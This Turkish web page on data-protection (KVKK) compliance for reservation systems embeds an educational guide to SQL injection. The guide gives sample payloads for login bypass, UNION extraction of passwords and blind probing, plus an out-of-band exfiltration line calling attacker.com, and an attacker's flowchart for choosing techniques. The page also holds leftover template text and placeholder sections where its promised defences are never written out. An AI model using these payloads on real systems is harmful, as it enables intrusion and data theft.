Rezervasyon Sistemlerinde KVKK Güvenliği
Kişisel verilerin toplanması, işlenmesi ve korunmasında kanıtlanabilir uyum ve sürdürülebilir güvenlik.
1. Giriş
Rezervasyon sistemleri; turizm, sağlık, eğitim ve eğlence gibi sektörlerde kritik öneme sahiptir. Bu platformlar müşteri deneyimini kolaylaştırırken, yoğun kişisel veri işlemeleri nedeniyle KVKK kapsamında önemli sorumluluklar doğurur.
Bu sayfa; KVKK’nın rezervasyon sistemlerine etkisini, uyumun neden stratejik bir zorunluluk olduğunu ve uygulanabilir teknik/idari kontrol setlerini bütüncül bir yaklaşımla sunar.
2. KVKK ve Rezervasyon Sistemleri: Temel Kavramlar
Kişisel Veri & İşleme
Ad-soyad, TCKN, iletişim, adres, ödeme bilgileri, seyahat tercihleri, özel nitelikli veriler (sağlık vb.) dâhil olmak üzere kimliği belirli/belirlenebilir kişiye ilişkin tüm bilgiler.
Toplama, saklama, kullanma, aktarma, imha gibi tüm faaliyetler “işleme” kapsamındadır.
Veri Sorumlusu
Rezervasyon sistemi işletmecisi; amaç ve vasıtaları belirler, kayıt sistemini yönetir, uygun güvenlik tedbirlerini tesis etmekle yükümlüdür.
3. Neden Rezervasyon Sistemlerinde KVKK Güvenliği Kritik?
Hukuki Yükümlülük
KVKK’ya aykırı işleme ve ihlaller idari para cezaları ve hukuki süreçlere konu olabilir.
Müşteri Güveni & İtibar
Güven kaybı, doğrudan gelir kaybına ve marka itibarının zedelenmesine yol açar.
Siber Tehditlere Maruziyet
Kimlik hırsızlığı, dolandırıcılık ve fidye saldırıları kritik risklerdir; ihlallerin maliyeti yüksektir.
Rekabet & Uluslararası Uyum
KVKK/GDPR paralelliği; uluslararası pazarda kabul ve rekabet avantajı sağlar.
4. KVKK Uyumunu Sağlamak İçin Temel Adımlar
4.1 İçerik
Günümüzün dijital ekonomisinde veri, çok önemli bir yer tutar. Şirketler, müşteri bilgilerinden finansal kayıtlara, envanter verilerinden ticari sırlara kadar devasa miktarda veriyi yönetir ve korur. Bu veriler, sunucularda ve veritabanlarında saklanır. Ancak bu veritabanların yeterince sağlam olmayabilir. Siber güvenlik dünyasında on yıllardır var olan, ancak hala en yıkıcı ve yaygın saldırı türlerinden biri olan SQL Injection, bu veritabanlarına zarar verebilecek ve onların en zayıf noktalarını hedef alan görünmez düşmanlardır.
OWASP (Open Web Application Security Project) tarafından istisnasız her yıl en kritik güvenlik zafiyetleri listesinin zirvelerinde yer alan SQL Injection (SQLi), basit bir kodlama hatasından kaynaklanarak bir şirketin itibarını, finansal istikrarını ve müşteri güvenini bir gecede yerle bir etme potansiyeline sahiptir. Bu saldırı, sadece büyük şirketleri değil, küçük bir e-ticaret sitesinden kişisel bir bloga kadar veritabanı kullanan her türlü web uygulamasını tehdit eder.
Bu kapsamlı rehberde, SQL Injection’ın ne olduğunu teknik temelleriyle açıklayacak, bir saldırganın zihin yapısıyla nasıl çalıştığını adım adım gösterecek, potansiyel felaket senaryolarını gözler önüne sereceğiz.
Temellere İnelim: SQL Injection Tam Olarak Nedir?
Bu karmaşık görünen terimi anlamak için onu temel bileşenlerine ayıralım ve bir analoji üzerinden ilerleyelim.
Veritabanlarının Evrensel Dili: SQL’in Rolü
Veritabanınızı devasa ve mükemmel organize edilmiş bir kütüphane, web uygulamanızı ise bu kütüphaneden bilgi isteyen bir araştırmacı olarak düşünün. Kütüphanedeki görevli (veritabanı yönetim sistemi), sadece belirli bir dildeki komutları anlar: bu dil SQL‘dir (Structured Query Language). Araştırmacı (uygulama), “Bana ‘Pazarlama’ bölümündeki tüm kitapların listesini ver” veya “Yeni gelen ‘Siber Güvenlik’ kitabını rafa ekle” gibi isteklerini SQL komutları aracılığıyla görevliye iletir. Her şey beklendiği gibi çalıştığında bu sistem kusursuzdur.
Kavramın Özü: “Injection” (Enjeksiyon) Neyi İfade Eder?
Enjeksiyon, tıbbi bir terimden esinlenilerek terminolojiye eklenmiştir ve bir sisteme dışarıdan, yabancı bir madde ekleme eylemini tanımlar. Temiz bir iğneyle yapılan aşı faydalıyken, kirli bir iğneyle yapılan enjeksiyon enfeksiyona yol açar. Siber güvenlikte “enjeksiyon”, bir saldırganın, uygulamanın normal veri beklediği bir kanala (bir giriş formu, arama çubuğu, URL parametresi vb.) kendi zararlı kodunu “enjekte etmesi” anlamına gelir.
Tehlikeli Birleşim: Kod ve Verinin Güvenilmez Karşılaşması
SQL Injection, bu iki kavramın tehlikeli birleşimidir. Zafiyet, uygulamanın kullanıcıdan aldığı veriyi (örneğin bir kullanıcı adı) yeterince temizlemeden veya doğrulamadan doğrudan bir SQL komutunun içine yerleştirmesiyle ortaya çıkar. Kısaca Uygulama, kullanıcıdan gelen veriye güvenip onu doğrudan veritabanına yolladığı için tehlike oluşur.
Saldırgan, veri olarak girmesi gereken alana, SQL dilinde özel anlamları olan karakterler (‘, ;, –, OR) içeren bir metin girer. Uygulama bu “veri”yi alıp SQL komutuyla birleştirdiğinde, saldırganın girdisi artık bir veri değil, orijinal komutun bir parçası haline gelen yeni bir komut olur. Kısacası, saldırgan sizin uygulamanızı bir kukla gibi kullanarak, kütüphane görevlisine (veritabanı) kendi istediği her şeyi yaptırır.
SQL Injection’ın Görüldüğü Yerler ve Alanlar
SQL Injection (SQLi), kullanıcıdan alınan verinin filtrelenmeden doğrudan veritabanı sorgularına dahil edilmesiyle oluşan, oldukça yaygın ve tehlikeli bir güvenlik açığıdır. Çoğunlukla web uygulamalarıyla ilişkilendirilse de, farklı platform ve sistemlerde de SQLi zafiyetine rastlanabilir.
Aşağıda SQL Injection’ın görülebileceği başlıca alanlar açıklamalarıyla birlikte sunulmuştur:
1. Web Aplication Pentesting (Web Uygulama Sızma Testi)
SQLi’nin en sık karşılaşıldığı alandır. Web sitelerindeki giriş formları, arama kutuları, URL parametreleri gibi kullanıcı girdisi alınan tüm noktalar, düzgün filtrelenmediğinde SQL Injection’a açıktır.
2. API Pentesting (API Sızama Testi)
RESTful veya GraphQL gibi API’lere gönderilen JSON veya form verilerinde SQLi olabilir. Sunucu tarafında bu veriler SQL sorgularına ekleniyorsa, doğru filtreleme yapılmadığında sistem manipüle edilebilir.
3. Mobile Application Pentesting (Mobil Uygulama Testi)
Mobil uygulamalar arka planda API’lerle haberleştiği için, kullanıcıdan alınan veriler doğrudan veritabanına iletilebilir. API’ye yapılan müdahalelerle SQL Injection gerçekleştirilebilir.
4. Thick Client / Desktop Aplication Pentesting
Masaüstü uygulamaları (örneğin .NET, Java uygulamaları), kendi içinde doğrudan veritabanına erişebilir. Girdi kontrolleri yapılmıyorsa, kullanıcı SQL sorgusunu manipüle ederek yetkisiz erişim sağlayabilir.
5.IoT Pentesting (Nesnelerin İnterneti Cihazları Testi)
IoT cihazları da web arayüzleri veya API uç noktaları sunabilir. Kullanıcı girdileri SQL sorgularına dahil edildiğinde, cihaz içindeki veritabanı yapıları SQLi’ye açık hale gelebilir.
6. Internal Aplication Pentesting (İç Ağ Uygulama Testleri)
Şirket içi kullanılan portallar, yönetim panelleri veya masaüstü yazılımlarında da SQL Injection görülebilir. Bu uygulamalar genellikle gözden uzak olduğu için güvenlik açısından zayıf olabilir.
7. Embedded Systems / Endüstriyel Sistemler
Bazı gömülü sistemler veya endüstriyel kontrol sistemleri basit web arayüzleri barındırır. Bu arayüzlerde de kullanıcı girdi noktaları üzerinden SQL sorguları oluşturuluyorsa, SQLi mümkündür.
Not: Nadir görülse de güvenlik açısından kritiktir.
Bir Saldırganın Gözünden: SQL Injection Saldırısı Anatomisi
Teoriyi bir kenara bırakıp, bu saldırının gerçek dünyada nasıl adım adım gerçekleştiğini görelim.
Senaryo: Sıradan Bir E-Ticaret Sitesi Giriş Formu
Sitemizde kullanıcıların e-posta ve şifreleriyle giriş yaptığı bir sayfa var.
1: Beklenen Davranış ve Güvenli Sorgu
Meşru bir kullanıcı, e-posta alanına [email protected] ve şifre alanına GuvenliSifre123 yazar. Uygulama, arka planda şu SQL sorgusunu oluşturur ve veritabanına gönderir:
SELECT id, ad, yetki FROM kullanicilar WHERE email = ‘[email protected]’ AND parola = ‘GuvenliSifre123’;
Eğer bilgiler doğruysa, veritabanı ilgili kullanıcının bilgilerini döndürür ve kullanıcı giriş yapar. Her şey yolunda.
2: Saldırganın Planı ve Zehirli Girdi
Saldırgan, sistemin bu şekilde çalıştığını tahmin eder. Amacı, şifreyi bilmeden giriş yapmaktır. E-posta alanına şu özel hazırlanmış metni girer:
‘ OR 1=1 —
Şifre alanını boş bırakır veya rastgele bir şey yazar.
Final: Kontrolün Ele Geçirilmesi ve Yıkıcı Sonuç
Güvenli kodlanmamış uygulama, bu zehirli girdiyi alıp sorgu şablonuna körü körüne yerleştirir. Ortaya çıkan yeni ve ölümcül SQL komutu şudur:
SELECT id, ad, yetki FROM kullanicilar WHERE email = ” OR 1=1 — ‘ AND parola = ‘rastgele’;
Bu komutu veritabanının gözünden okuyalım:
email = ”: Bu kısım muhtemelen yanlış olacaktır, sorun değil.
OR 1=1: “VEYA 1 eşittir 1”. Bu ifade her zaman doğrudur. WHERE koşulunun ilk kısmı yanlış olsa bile, bu OR ifadesi sayesinde tüm koşul doğru (true) olarak sonuçlanır.
–: Bu, SQL dilinde bir yorum işaretidir. Kendisinden sonra gelen satırdaki her şeyi geçersiz kılar. Bu durumda, şifre kontrolünü yapan ‘ AND parola = ‘rastgele’; bölümü veritabanı tarafından tamamen görmezden gelinir.
Sonuç? Sorgu, “Bana kullanicilar tablosundan, koşulu her zaman doğru olan TÜM kullanıcıların bilgilerini getir” anlamına gelir. Veritabanı, tablodaki tüm kullanıcıların listesini döndürür. Uygulama genellikle listedeki ilk kaydı (ki bu genellikle yönetici/admin hesabıdır) geçerli sayar ve saldırgan, şifreyi bilmeden tam yönetici yetkileriyle sisteme giriş yapar. Bu, en temel kimlik doğrulama atlatma senaryosudur.
En Yaygın SQL Injection Türleri ve Kategorileri
SQL Injection yöntemleri genel olarak 3 ana kategoriye ayrılır:
1. In-Band SQLi (Doğrudan Geri Bildirimli)
Bu en yaygın ve basit türdür. Saldırgan, saldırıyı yaptığı kanal üzerinden doğrudan yanıt alabilir.
a. Error-Based SQLi
Saldırgan, veritabanını kasıtlı olarak geçersiz bir sorguyla hataya zorlar. Geliştirme aşamasında unutulmuş veya yanlış yapılandırılmış hata yönetimi, “Syntax error near ‘users’ in line 1” gibi detaylı hata mesajlarını doğrudan kullanıcıya gösterebilir. Bu mesajlar, saldırgan için altın değerindedir; çünkü tablo isimleri, sütun adları ve veritabanı türü gibi iç yapı hakkında kritik bilgiler verir.
Amaç: Hata mesajlarından bilgi toplamak.
Yöntem: Geçersiz bir sorgu enjekte edilir.
Örnek: id=1′ → “Syntax error near…” hatası verir.
b. Union-Based SQLi
Saldırgan, UNION operatörünü kullanarak iki farklı SELECT sorgusunun sonuçlarını birleştirir. İlk olarak, orijinal sorgunun kaç sütun döndürdüğünü tahmin eder. Ardından, kendi kötü niyetli sorgusunu (SELECT kullanici_adi, parola FROM kullanicilar gibi) bu yapıya uydurarak, normalde gösterilmemesi gereken verileri (tüm kullanıcı adları ve şifreler gibi) orijinal sayfa içeriğinin bir parçası olarak çeker.
Amaç: Ek sorgularla veri döndürmek.
Yöntem: UNION SELECT ile yeni satırlar eklenir.
Örnek: id=1 UNION SELECT username, password FROM users
2. Inferential SQLi (Kör/Karar Tabanlı)
Bu ileri düzey teknikte, uygulama hiçbir veri veya hata mesajı döndürmez. Saldırgan tamamen kördür. Ancak, uygulamanın davranışındaki ince farklılıkları gözlemleyerek veritabanına “20 soru” oyunu oynar gibi sorular sorar.
a. Boolean-Based Blind SQLi
Saldırgan, doğru veya yanlış olarak değerlendirilebilecek sorgular gönderir. Örneğin: “Yönetici kullanıcısının şifresinin ilk karakteri ‘a’ mı?”. Bu sorgu AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=’admin’) = ‘a’ gibi bir ifadeyle enjekte edilir. Eğer şifrenin ilk harfi gerçekten ‘a’ ise sayfa normal yüklenir (sonuç TRUE). Eğer değilse, sayfa farklı yüklenir veya bir hata sayfası çıkar (sonuç FALSE). Saldırgan, bu evet/hayır cevaplarını alarak şifreyi harf harf tahmin edebilir.
Amaç: TRUE/FALSE sorgularla veri sızıntısı yapmak.
Örnek: id=1 AND SUBSTRING((SELECT password FROM users WHERE username=’admin’),1,1)=’a’
b. Time-Based Blind SQLi
Bu, en sinsi yöntemdir. Uygulamanın görünümünde hiçbir değişiklik olmaz. Saldırgan, veritabanını beklemeye zorlayan komutlar enjekte eder. Örneğin: IF(şart_doğru_ise, SLEEP(5), 0). Yani, “Yönetici şifresinin ilk karakteri ‘a’ ise, 5 saniye bekle, değilse hemen cevap ver”. Eğer sayfanın yüklenmesi 5 saniye gecikirse, saldırgan sorusunun cevabının “Evet” olduğunu anlar. Bu yöntem yavaş olmasına rağmen, diğer tüm kapılar kapalıyken bile işe yarayabilir.
Amaç: Bekleme süresine göre veri elde etmek.
Örnek: id=1 AND IF(SUBSTRING(password,1,1)=’a’, SLEEP(5), 0)
3. Out-of-Band SQLi (OOB)
Amaç: DNS veya HTTP yoluyla veriyi dışa çıkarmak.
Şart: Sistem dış ağa erişebilmeli.
Örnek: ‘; exec xp_dirtree(‘\\attacker.com\data’) —
Diğer SQL Injection Türleri
Stored SQLi
Zararlı SQL önce kaydedilir, sonra çalıştırılır.
Second-Order SQLi
Veri bir formda girilir, başka yerde sorguya enjekte edilir.
Stacked Queries
Aynı sorgu satırında birden fazla komut çalıştırılır. (Destekleyen veritabanlarında)
Alternate Encoding
Saldırıyı URL encode, hex, unicode gibi formatlarla gizleme.
JSON-Based SQLi
JSON API’ler üzerinden gelen veri ile SQL enjekte edilir.
NoSQL Injection
MongoDB gibi sistemlerde benzer ama farklı teknikle yapılır.
İkincil Sınıflandırma: Saldırının Amacına Göre
Saldırı tekniğinin yanı sıra, SQLi saldırıları nihai hedeflerine göre de sınıflandırılabilir:
Veri Sızdırma (Data Exfiltration): En yaygın amaçtır. Kredi kartı bilgileri, kişisel veriler, şifreler gibi hassas bilgileri çalmayı hedefler.
Kimlik Doğrulama Atlatma (Authentication Bypass): ‘ OR ‘1’=’1′ — gibi klasik yöntemlerle şifre kontrolünü devre dışı bırakarak sisteme yetkili bir kullanıcı (genellikle yönetici) olarak giriş yapmayı amaçlar.
Veri Manipülasyonu (Data Manipulation): UPDATE, INSERT veya DELETE komutları enjekte ederek veritabanındaki kayıtları değiştirmeyi (örneğin bir ürünün fiyatını 1 TL yapmak), yeni kayıtlar eklemeyi (örneğin yeni bir yönetici hesabı oluşturmak) veya verileri silmeyi hedefler.
Sistem Kontrolünü Ele Geçirme (System Takeover): xp_cmdshell (MSSQL) gibi veritabanı fonksiyonlarını kullanarak veritabanı üzerinden doğrudan işletim sistemi komutları çalıştırmayı amaçlar. Bu, saldırganın sunucuya bir arka kapı (backdoor) yüklemesine ve tüm sistemin kontrolünü ele geçirmesine olanak tanıyabilir.
Veritabanı Türleri ve SQLi’ye Etkisi
SQL Injection saldırıları farklı veritabanı sistemlerinde farklı davranabilir. Aşağıda yaygın sistemlerin özellikleri ve hangi SQLi tekniklerinin öne çıktığı belirtilmiştir:
Veritabanı\tSQLi Uyumu MySQL\tÇok yaygın MSSQL\tOrta PostgreSQL\tGelişmiş Oracle\tKurumsal SQLite\tKısıtlı İpucu: Hangi veritabanının kullanıldığını anlamak için error message, banner grabbing, sqlmap –fingerprint gibi yöntemler kullanılabilir.
SQL Injection Özet Şeması: Adım Adım Yönlendirme
Sayfa hata mesajı veriyor mu?
Evet → Error-Based SQLi deneyin.
Sayfa veri döndürüyor mu?
Evet → Union-Based SQLi deneyin.
Veri yok ama sayfa davranışı değişiyor mu?
Evet → Boolean-Based SQLi deneyin.
Sayfa yavaş yanıt veriyor mu?
Evet → Time-Based SQLi deneyin.
Hiçbir bilgi yok ama sistem dışa erişebilir mi?
Evet → Out-of-Band SQLi deneyin.
SQL Injection tek bir kalıba sığmaz. Saldırganlar, hedefe ve sistemin tepkilerine göre farklı taktikler kullanır.
Buzdağının Altı: SQL Injection’ın Yıkıcı ve Çok yönlü Sonuçları
Başarılı bir SQLi saldırısı, basit bir web sitesi hack’inden çok daha fazlasıdır. Sonuçları bir şirket için varoluşsal bir tehdit oluşturabilir.
Veri Mahremiyetinin İhlali: Saldırganlar, müşterilere ait Kişisel Verileri Koruma Kanunu (KVKK) ve GDPR kapsamında korunan her türlü veriyi (kimlik bilgileri, adresler, telefon numaraları, e-postalar, şifreler) ve finansal bilgileri (kredi kartı numaraları, banka hesap detayları) toplu halde çalabilir. Bu veriler karaborsada satılır veya kimlik hırsızlığı için kullanılır.
Veri Bütünlüğünün Yok Edilmesi: Saldırganlar sadece veri çalmakla kalmaz, onu değiştirebilir veya silebilir. Bir e-ticaret sitesindeki ürün fiyatlarını 1 TL’ye indirebilir, siparişlerin teslimat adreslerini değiştirebilir, şirketinizin finansal kayıtlarını manipüle edebilir veya en kötü senaryoda, DROP TABLE kullanicilar; gibi bir komutla tüm müşteri veritabanınızı kalıcı olarak silebilirler.
Tam Sistem Ele Geçirme: Yetkin bir saldırgan için veritabanı erişimi sadece bir başlangıçtır. Bazı veritabanı sistemleri (xp_cmdshell gibi fonksiyonlar aracılığıyla), veritabanı üzerinden işletim sistemi komutları çalıştırmaya izin verir. Bu noktadan sonra saldırgan, web sunucusuna bir “arka kapı” (backdoor) yerleştirebilir, fidye yazılımı (ransomware) kurabilir veya bu sunucuyu şirketinizin iç ağına sızmak için bir sıçrama tahtası olarak kullanabilir.
İtibar, Güven ve Finansal Çöküş: Bir veri ihlali haberi duyulduğunda, müşteri güveni anında buharlaşır. Müşterileriniz sizi terk eder, gelirleriniz düşer. Şirketinizin marka değeri ve itibarı yıllarca sürecek bir hasar alır. Bunun üzerine, KVKK ve GDPR gibi düzenlemeler kapsamında, ihlalin boyutuna göre şirketin cirosunun önemli bir yüzdesine varabilen devasa para cezalarıyla karşı karşıya kalırsınız.
Sonuç: Siber Güvenlik Bir Varış Noktası Değil, Sürekli Bir Yolculuktur
SQL Injection, teknolojinin eskiliğine rağmen insan hatası ve ihmal nedeniyle siber güvenlik arenasındaki etkinliğini koruyan inatçı bir tehdittir. Ancak bu savaşı kazanmak mümkündür. Güvenli kodlama alışkanlıklarını benimsemek, dijital kalenizin kapılarını ve duvarlarını saldırganlara karşı mühürler.
Unutmayın, siber güvenlik bir kere yapılıp bitirilen bir görev değil, sürekli bir farkındalık, eğitim ve adaptasyon gerektiren dinamik bir süreçtir. Şirketinizin en değerli varlığı olan verilerinizi ve itibarınızı korumak, proaktif bir yaklaşım gerektirir.
4.2 Ek Not
Bu bölüm, gönderdiğiniz metni sayfa tasarımına entegre etmek için ayrılmıştır. İçerik üst kartta eksiksiz şekilde yer almaktadır.
4.a Teknik Tedbirler
Parametrik sorgular, hazırlıklı ifadeler (prepared statements), ORM kullanımı, girdi doğrulama/sanitizasyon, en az yetki ilkesi, hataların kullanıcıya gösterilmemesi, WAF, IDS/IPS, yedekleme ve izleme gibi kontroller burada detaylandırılabilir.
4.b İdari Tedbirler
Politikalar, eğitimler, erişim yetkilendirme süreçleri, tedarikçi yönetimi, sözleşmeler ve denetim faaliyetleri gibi idari tedbir başlıkları bu bölümde toplanabilir.
5. Veri Sahibi Hakları
KVKK m.11 kapsamındaki başvuru, düzeltme, silme, itiraz ve şikâyet süreçlerine dair bilgilendirme burada yer alır.
6. VERBİS Kaydı
Yükümlülük kapsamı, istisnalar, kayıt süreçleri ve güncelleme yükümlülükleri özetlenebilir.
7. Sonuç
Bu sayfa, rezervasyon sistemleri bağlamında KVKK uyumunu çerçevelerken, ek olarak SQL Injection riskine ilişkin gönderdiğiniz kapsamlı rehberi eksiksiz biçimde barındırır.





